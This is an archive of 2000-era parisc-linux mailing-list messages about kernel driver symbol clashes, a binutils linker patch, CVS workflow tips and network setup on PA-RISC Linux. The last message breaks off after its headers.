In-Reply-To: <20000815160510.C7757@vodka.thepuffingroup.com>; from matthew@wil.cx on Tue, Aug 15, 2000 at 04:05:10PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:7738

My Zalon/53c720 problem is caused by changes in the way drivers/scsi
is built.  It used to build scsi.a, it now builds scsidrv.o.
If I include only one of sym53c8xx.c (for 53c875 on PCI), or ncr53c8xx.c
(for 53c720) all is well - if I include both things break.

Those two files have a number of function names in common; they are
declared static, so it shouldn't matter.  ncr_chip_reset() is one
example.  In practice, the code in ncr53c8xx.c tries to call its local
ncr_chip_reset(), but ends up in the ncr_chip_reset() function in
sym53c8xx.c.

It appeared to work fine with 2.3.99pre8, and I havn't changed my
cross compiler.

Richard


From - Thu Nov 08 21:13:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Incompatibility of PIC and non-PIC
Date: 19 Aug 2000 18:00:21 -0400
Organization: Linuxcare, Inc.
Lines: 33
Approved: news@gmane.org
Message-ID: <87r97kzzbe.fsf@linuxcare.com>
References: <Pine.LNX.4.21.0008190020150.9244-100000@front.linuxcare.com.au> <8766oy1nxa.fsf@linuxcare.com> <87vgwyz5r0.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619061 2499 80.91.229.3 (22 Nov 2014 01:17:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:41 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, parisc@lists.linuxcare.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: dhd@linuxcare.com  Sat Aug 19 16:01:18 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA06921
	for <parisc-linux@puffin.external.hp.com>; Sat, 19 Aug 2000 16:01:18 -0600
Original-Received: (qmail 10641 invoked by uid 15267); 19 Aug 2000 22:01:06 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10633 invoked from network); 19 Aug 2000 22:01:05 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 19 Aug 2000 22:01:05 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13QGf8-0007HE-00; Sat, 19 Aug 2000 18:00:22 -0400
In-Reply-To: David Huggins-Daines's message of "18 Aug 2000 16:14:27 -0400"
Original-Lines: 32
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7739

David Huggins-Daines <dhd@linuxcare.com> writes:

> @@ -1961,8 +1961,8 @@
>        || (h->elf_link_hash_flags & ELF_LINK_HASH_NEEDS_PLT) != 0)
>      {
>        if (h->plt.refcount <= 0
> +	  || h->root.type == bfd_link_hash_undefweak
>  	  || ((h->elf_link_hash_flags & ELF_LINK_HASH_DEF_REGULAR) != 0
> -	      && h->root.type != bfd_link_hash_defweak
>  	      && (!info->shared || info->symbolic)
>  	      && !(!info->shared
>  		   && (h->root.type == bfd_link_hash_defined

This chunk needs to also check for undefined symbols, it seems.
Here's a better one:

@@ -1961,8 +1961,9 @@
       || (h->elf_link_hash_flags & ELF_LINK_HASH_NEEDS_PLT) != 0)
     {
       if (h->plt.refcount <= 0
+	  || h->root.type == bfd_link_hash_undefweak
+	  || h->root.type == bfd_link_hash_undefined
 	  || ((h->elf_link_hash_flags & ELF_LINK_HASH_DEF_REGULAR) != 0
-	      && h->root.type != bfd_link_hash_defweak
 	      && (!info->shared || info->symbolic)
 	      && !(!info->shared
 		   && (h->root.type == bfd_link_hash_defined


-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] test6 merge
Date: Sat, 19 Aug 2000 19:13:35 -0400
Lines: 12
Approved: news@gmane.org
Message-ID: <20000819191335.E32273@vodka.thepuffingroup.com>
References: <20000818124944.A13870@linuxcare.com> <200008182207.PAA07370@milano.cup.hp.com> <20000818220456.A32273@vodka.thepuffingroup.com> <20000819162418.E13870@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619061 2502 80.91.229.3 (22 Nov 2014 01:17:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:41 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, Grant Grundler <grundler@cup.hp.com>,
        parisc-linux@thepuffingroup.com
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: willy@thepuffingroup.com  Sat Aug 19 18:18:47 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA07778
	for <parisc-linux@puffin.external.hp.com>; Sat, 19 Aug 2000 18:18:46 -0600
Original-Received: (qmail 11462 invoked by uid 15267); 20 Aug 2000 00:18:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11448 invoked from network); 20 Aug 2000 00:18:34 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 20 Aug 2000 00:18:34 -0000
Original-Received: (qmail 28801 invoked from network); 20 Aug 2000 00:18:04 -0000
Original-Received: from dis.i.linuxcare.com (HELO vodka.thepuffingroup.com) (192.168.1.57)
  by db1.i.linuxcare.com with SMTP; 20 Aug 2000 00:18:04 -0000
Original-Received: (from willy@localhost)
	by vodka.thepuffingroup.com (8.9.3/8.9.3) id TAA03725;
	Sat, 19 Aug 2000 19:13:35 -0400
X-Mailer: Mutt 0.95.4us
In-Reply-To: <20000819162418.E13870@linuxcare.com>; from Richard Hirst on Sat, Aug 19, 2000 at 04:24:18PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:7740

On Sat, Aug 19, 2000 at 04:24:18PM +0100, Richard Hirst wrote:
> Dream on ;-)  I've fixed drivers/char/serial.c to allocate our serial ports
> from ttyS00 rather than from ttyS04, and my A180 now boots to a sash
> prompt.  That got rid of the 'pci bus 0 not registered" message also.

OK, can we now lay down the LINUS_240_TEST6_DEVEL tag to indicate that
we're done with merging and development can begin again?  (If you agree,
you (== Richard) can lay it down rather than waiting for me).

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:13:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Incompatibility of PIC and non-PIC
Date: Sun, 20 Aug 2000 13:07:13 +1000 (EST)
Lines: 15
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0008201303120.26467-100000@front.linuxcare.com.au>
References: <87r97kzzbe.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619061 2510 80.91.229.3 (22 Nov 2014 01:17:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:41 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, parisc@lists.linuxcare.com
To: David Huggins-Daines <dhd@linuxcare.com>
Original-X-From: alan@linuxcare.com.au  Sat Aug 19 21:07:48 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA08885
	for <parisc-linux@puffin.external.hp.com>; Sat, 19 Aug 2000 21:07:47 -0600
Original-Received: (qmail 28255 invoked by uid 15267); 20 Aug 2000 03:07:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28247 invoked from network); 20 Aug 2000 03:07:34 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 20 Aug 2000 03:07:34 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id NAA26705;
	Sun, 20 Aug 2000 13:07:13 +1000
In-Reply-To: <87r97kzzbe.fsf@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7741

On 19 Aug 2000, David Huggins-Daines wrote:

> This chunk needs to also check for undefined symbols, it seems.
> Here's a better one:

cvs update.  I think I've done things properly this time, although you'll
no doubt find some silly bugs left when you actually run code on real
hardware.

BTW, Adding "-p" to your diff options would be a good idea.

Regards, Alan
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:13:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Incompatibility of PIC and non-PIC
Date: Sat, 19 Aug 2000 22:43:36 -0400
Lines: 31
Approved: news@gmane.org
Message-ID: <20000819224336.G32273@vodka.thepuffingroup.com>
References: <87r97kzzbe.fsf@linuxcare.com> <Pine.LNX.4.21.0008201303120.26467-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619062 2512 80.91.229.3 (22 Nov 2014 01:17:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:42 +0000 (UTC)
Cc: David Huggins-Daines <dhd@linuxcare.com>, parisc-linux@thepuffingroup.com,
        parisc@lists.linuxcare.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: willy@thepuffingroup.com  Sat Aug 19 21:48:47 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA09291
	for <parisc-linux@puffin.external.hp.com>; Sat, 19 Aug 2000 21:48:46 -0600
Original-Received: (qmail 14723 invoked by uid 15267); 20 Aug 2000 03:48:35 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14716 invoked from network); 20 Aug 2000 03:48:35 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 20 Aug 2000 03:48:35 -0000
Original-Received: (qmail 19990 invoked from network); 20 Aug 2000 03:48:05 -0000
Original-Received: from dis.i.linuxcare.com (HELO vodka.thepuffingroup.com) (192.168.1.57)
  by db1.i.linuxcare.com with SMTP; 20 Aug 2000 03:48:05 -0000
Original-Received: (from willy@localhost)
	by vodka.thepuffingroup.com (8.9.3/8.9.3) id WAA03883;
	Sat, 19 Aug 2000 22:43:36 -0400
X-Mailer: Mutt 0.95.4us
In-Reply-To: <Pine.LNX.4.21.0008201303120.26467-100000@front.linuxcare.com.au>; from Alan Modra on Sun, Aug 20, 2000 at 01:07:13PM +1000
Xref: news.gmane.org gmane.linux.ports.parisc:7742

On Sun, Aug 20, 2000 at 01:07:13PM +1000, Alan Modra wrote:
> On 19 Aug 2000, David Huggins-Daines wrote:
> 
> > This chunk needs to also check for undefined symbols, it seems.
> > Here's a better one:
> 
> cvs update.  I think I've done things properly this time, although you'll
> no doubt find some silly bugs left when you actually run code on real
> hardware.
> 
> BTW, Adding "-p" to your diff options would be a good idea.

so here's a .cvsrc file which should help people:

cvs -z3 -q
diff -uNp
update -Pd
rm -f

btw, is there any option to cvs diff which produces files which can be
applied by any known version of patch?  in my experience, patch can't
find files specified by Index: lines _unless_ both the +++ and the ---
files can't be found -- which is rarely the case with common names such
as Makefile or ChangeLog.  I hacked a copy of patch myself to apply one
of the cvs diff patches you posted here, but there surely has to be a
better way (complaining to Paul Eggert that while patch may or may not be
POSIX or GNU compliant it isn't _USEFUL_ may be the right answer here :-)

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:13:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Incompatibility of PIC and non-PIC
Date: Sun, 20 Aug 2000 14:19:05 +1000 (EST)
Lines: 17
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0008201351070.26467-100000@front.linuxcare.com.au>
References: <20000819224336.G32273@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619062 2513 80.91.229.3 (22 Nov 2014 01:17:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:42 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, parisc@lists.linuxcare.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: alan@linuxcare.com.au  Sat Aug 19 22:19:46 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id WAA09607
	for <parisc-linux@puffin.external.hp.com>; Sat, 19 Aug 2000 22:19:46 -0600
Original-Received: (qmail 29461 invoked by uid 15267); 20 Aug 2000 04:19:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29445 invoked from network); 20 Aug 2000 04:19:32 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 20 Aug 2000 04:19:32 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id OAA27973;
	Sun, 20 Aug 2000 14:19:05 +1000
In-Reply-To: <20000819224336.G32273@vodka.thepuffingroup.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7743

On Sat, 19 Aug 2000, Matthew Wilcox wrote:

> btw, is there any option to cvs diff which produces files which can be
> applied by any known version of patch?  in my experience, patch can't
> find files specified by Index: lines _unless_ both the +++ and the ---
> files can't be found -- which is rarely the case with common names such
> as Makefile or ChangeLog.

I haven't found one, and it's a real pain.  I tend to edit patches
covering multiple directories before passing them to patch.

"sed -e '/^[+-][+-]/d' < cvs_diff_file | patch -p0 --posix" ought to work.

Alan
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:13:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Networking
Date: Sat, 19 Aug 2000 22:44:22 -0700
Lines: 34
Approved: news@gmane.org
Message-ID: <200008200544.WAA09249@milano.cup.hp.com>
References: <10217.966586508@www5.gmx.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619062 2517 80.91.229.3 (22 Nov 2014 01:17:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:42 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Steffen =?ISO-8859-1?Q?L=F6rch?= <sloerch@gmx.de>
Original-X-From: grundler@cup.hp.com  Sat Aug 19 23:41:48 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id XAA10132
	for <parisc-linux@puffin.external.hp.com>; Sat, 19 Aug 2000 23:41:48 -0600
Original-Received: (qmail 32700 invoked by uid 15267); 20 Aug 2000 05:41:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32693 invoked from network); 20 Aug 2000 05:41:36 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 20 Aug 2000 05:41:36 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 46B861740; Sat, 19 Aug 2000 22:41:32 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id WAA09249;
	Sat, 19 Aug 2000 22:44:31 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Fri, 18 Aug 2000 10:15:08 PDT."
             <10217.966586508@www5.gmx.net> 
Xref: news.gmane.org gmane.linux.ports.parisc:7744

Steffen =?ISO-8859-1?Q?L=F6rch?= wrote:
> Hello all !!!
> How can I connect my PA-RISC to the network with the CD-Image Version of
> the PA-RISC Linux.

Yes and no.

Yes in that nfsroot works.
One can also ping the parisc-linux host.
So the kernel/lan driver seems to work fine.

No because networking userspace needs more work or something.
Read the README on the CD for known bugs.
Did I hear you volunteer to fix those?
:^)

grant

> 
> Thanks for replies,
> S.L.
> 
> -- 
> Sent through GMX FreeMail - http://www.gmx.net
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:13:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bame@riverrock.org
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Networking
Date: Sun, 20 Aug 2000 09:43:34 -0600
Lines: 26
Approved: news@gmane.org
Message-ID: <m13QXG3-001VsnC@chalet>
References: <200008200544.WAA09249@milano.cup.hp.com>
Reply-To: bame@riverrock.org
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619062 2520 80.91.229.3 (22 Nov 2014 01:17:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:42 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bame@bame.riverrock.org  Sun Aug 20 09:45:47 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA26982
	for <parisc-linux@puffin.external.hp.com>; Sun, 20 Aug 2000 09:45:47 -0600
Original-Received: (qmail 21209 invoked by uid 15267); 20 Aug 2000 15:45:33 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21199 invoked from network); 20 Aug 2000 15:45:32 -0000
Original-Received: from unknown (HELO chalet) (199.254.238.240)
  by mailserv2.iuinc.com with SMTP; 20 Aug 2000 15:45:32 -0000
Original-Received: from bame.riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via in.smtpd with esmtp (ident bame using rfc1413)
	id <m13QXG3-001VsnC@chalet> (Debian Smail3.2.0.102)
	for <parisc-linux@thepuffingroup.com>; Sun, 20 Aug 2000 09:43:35 -0600 (MDT) 
Errors-To: bame@riverrock.org
In-reply-to: Your message of "Sat, 19 Aug 2000 22:44:22 PDT."
             <200008200544.WAA09249@milano.cup.hp.com>
Original-Sender: bame@bame.riverrock.org
Xref: news.gmane.org gmane.linux.ports.parisc:7745

= Steffen =?ISO-8859-1?Q?L=F6rch?= wrote:
= > Hello all !!!
= > How can I connect my PA-RISC to the network with the CD-Image Version of
= > the PA-RISC Linux.
= 
= Yes and no.
= 
= Yes in that nfsroot works.
= One can also ping the parisc-linux host.
= So the kernel/lan driver seems to work fine.
= 
= No because networking userspace needs more work or something.
= Read the README on the CD for known bugs.
= Did I hear you volunteer to fix those?
= :^)

The kernel on the CD has no bootp stuff because unless you're
on a network that serves a bootp record the boot hangs -- which
didn't seem a good idea!  But this also means the network comes
up unconfigured.

Use ifconfig and route as you normally would on a Linux box to
configure the network.

	-P


From - Thu Nov 08 21:13:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] test6 merge
Date: Sun, 20 Aug 2000 19:20:36 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <20000820192036.H13870@linuxcare.com>
References: <20000818124944.A13870@linuxcare.com> <200008182207.PAA07370@milano.cup.hp.com> <20000818220456.A32273@vodka.thepuffingroup.com> <20000819162418.E13870@linuxcare.com> <20000819191335.E32273@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619063 2525 80.91.229.3 (22 Nov 2014 01:17:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:43 +0000 (UTC)
Cc: Grant Grundler <grundler@cup.hp.com>, parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: rhirst@linuxcare.com  Sun Aug 20 12:21:53 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA27731
	for <parisc-linux@puffin.external.hp.com>; Sun, 20 Aug 2000 12:21:52 -0600
Original-Received: (qmail 1022 invoked by uid 15267); 20 Aug 2000 18:21:41 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1012 invoked from network); 20 Aug 2000 18:21:40 -0000
Original-Received: from user52-196.jakinternet.co.uk (HELO rhirst.linuxcare.com) (@212.41.52.196)
  by mailserv2.iuinc.com with SMTP; 20 Aug 2000 18:21:40 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 9BFD0B005; Sun, 20 Aug 2000 19:20:36 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20000819191335.E32273@vodka.thepuffingroup.com>; from matthew@wil.cx on Sat, Aug 19, 2000 at 07:13:35PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:7746

On Sat, Aug 19, 2000 at 07:13:35PM -0400, Matthew Wilcox wrote:
> On Sat, Aug 19, 2000 at 04:24:18PM +0100, Richard Hirst wrote:
> > Dream on ;-)  I've fixed drivers/char/serial.c to allocate our serial ports
> > from ttyS00 rather than from ttyS04, and my A180 now boots to a sash
> > prompt.  That got rid of the 'pci bus 0 not registered" message also.
> 
> OK, can we now lay down the LINUS_240_TEST6_DEVEL tag to indicate that
> we're done with merging and development can begin again?  (If you agree,
> you (== Richard) can lay it down rather than waiting for me).

Done.

Richard


From - Thu Nov 08 21:13:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: AJIT D BOBRA <bobra@prl.ernet.in>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: LINUX SUPPORT for HP 9000/735 systems....
Date: Mon, 21 Aug 2000 14:38:45 +0530
Organization: Physical Research Lab, Ahmedabad, INDIA
Lines: 96
Approved: news@gmane.org
Message-ID: <39A0F19D.41C6@prl.ernet.in>
References: <3997B7DF.41C6@prl.ernet.in>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="------------167E2781446B"
X-Trace: ger.gmane.org 1416619063 2529 80.91.229.3 (22 Nov 2014 01:17:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:43 +0000 (UTC)
Cc: kskahm@hclinsys.com, ramas@hclinsys.com, pnnayak@hclinsys.com,
        Arnaud.ATOCH@oecd.org
To: parisc-linux@thepuffingroup.com, ajit bobra <bobra@prl.ernet.in>
Original-X-From: bobra@prl.ernet.in  Mon Aug 21 03:11:34 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id DAA10963
	for <parisc-linux@puffin.external.hp.com>; Mon, 21 Aug 2000 03:11:33 -0600
Original-Received: (qmail 24396 invoked by uid 15267); 21 Aug 2000 09:11:23 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24321 invoked from network); 21 Aug 2000 09:11:17 -0000
Original-Received: from mail.prl.res.in (202.164.100.131)
  by mailserv2.iuinc.com with SMTP; 21 Aug 2000 09:11:17 -0000
Original-Received: from prlfs.prl.ernet.in (prlfs.prl.ernet.in [202.164.100.130])
	by mail.prl.res.in (8.9.3/PRLMAILV1.3) with SMTP id OAA32406;
	Mon, 21 Aug 2000 14:57:11 +0530
Original-Received: from prlts1 by prlfs.prl.ernet.in (AIX 3.2/UCB 5.64/4.03)
          id AA86461; Mon, 21 Aug 2000 14:38:45 +0530
Original-Sender: bobra@prl.ernet.in
X-Mailer: Mozilla 3.0 (X11; I; AIX 2)
Xref: news.gmane.org gmane.linux.ports.parisc:7747

This is a multi-part message in MIME format.

--------------167E2781446B
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi,
	Greetings  !!

	I had sent you this mail. You might have sent in, your reply but since
there was a computer crash, I have not received.

	In case you had sent in your reply, kindly sent it again.

	In case you have not, pl send me your reply asap.


regards.


ajit bobra





AJIT D BOBRA wrote:
> 
> Hi,
> 
>         Greetings  !!
> 
>         We have three Hp 9000/735 machines running HP-UX 9.01. We are now
> interested in loading LINUX on them and scrap HP-UX. What are the
> chances that we can do that ?
> 
>         If we can, then Could you pl guide us step by step procedure to do that
> change. We have been using LINUX on PC's.
> 
> regards.
> 
> bye
> 
> ajit bobra
> 
>     ---------------------------------------------------------------
> 
> **********************************
> 
> Ajit D. Bobra
> Astronomy & Astrophysics Division
> Physical Research Laboratory
> Navrangpura
> Ahmedabad  380 009
> INDIA
> 
> e-mail  :       bobra@prl.ernet.in
> HomePage:       http://www.prl.ernet.in/~bobra
> 
> Phone   :       Off ::(91 79)  6302 129
>         :       Res ::(91 79)  6852 334
> 
> Fax     :           ::(91 79)  6301 502
> 
> **********************************

--------------167E2781446B
Content-Type: text/plain; charset=us-ascii; name="myhead"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline; filename="myhead"



**********************************

Ajit D. Bobra
Astronomy & Astrophysics Division
Physical Research Laboratory
Navrangpura
Ahmedabad  380 009
INDIA

e-mail	:	bobra@prl.ernet.in
HomePage:	http://www.prl.ernet.in/~bobra

Phone	:	Off ::(91 79)  6302 129
     	:	Res ::(91 79)  6852 334
		
Fax	:	    ::(91 79)  6301 502


**********************************


--------------167E2781446B--


From - Thu Nov 08 21:13:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: alan@lxorguk.ukuu.org.uk (Alan Cox)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] syscall work
Date: Fri, 26 Mar 1999 00:42:05 +0000 (GMT)
Lines: 6
Approved: news@gmane.org
Message-ID: <m10QKhK-0007U1C@the-village.bc.nu>
References: <199903252340.RAA08466@helgaaspc.rsn.hp.com>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text
X-Trace: ger.gmane.org 1416619063 2531 80.91.229.3 (22 Nov 2014 01:17:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:43 +0000 (UTC)
To: hppa-linux@thepuffingroup.com
Original-X-From: alan@lxorguk.ukuu.org.uk  Thu Mar 25 18:48:28 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id SAA32200
	for <hppa-linux@sod.res.cmu.edu>; Thu, 25 Mar 1999 18:48:27 -0500
Original-Received: (qmail 24075 invoked by uid 15267); 25 Mar 1999 23:47:13 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 24068 invoked from network); 25 Mar 1999 23:47:12 -0000
Original-Received: from snowcrash.cymru.net (163.164.160.3)
  by mailserv2.iuinc.com with SMTP; 25 Mar 1999 23:47:12 -0000
Original-Received: from the-village.bc.nu (lightning.swansea.uk.linux.org [194.168.151.1]) by snowcrash.cymru.net (8.8.7/8.7.1) with SMTP id XAA12370 for <hppa-linux@thepuffingroup.com>; Thu, 25 Mar 1999 23:48:15 GMT
Original-Received: by the-village.bc.nu (Smail3.1.29.1 #2)
	id m10QKhK-0007U1C; Fri, 26 Mar 99 00:42 GMT
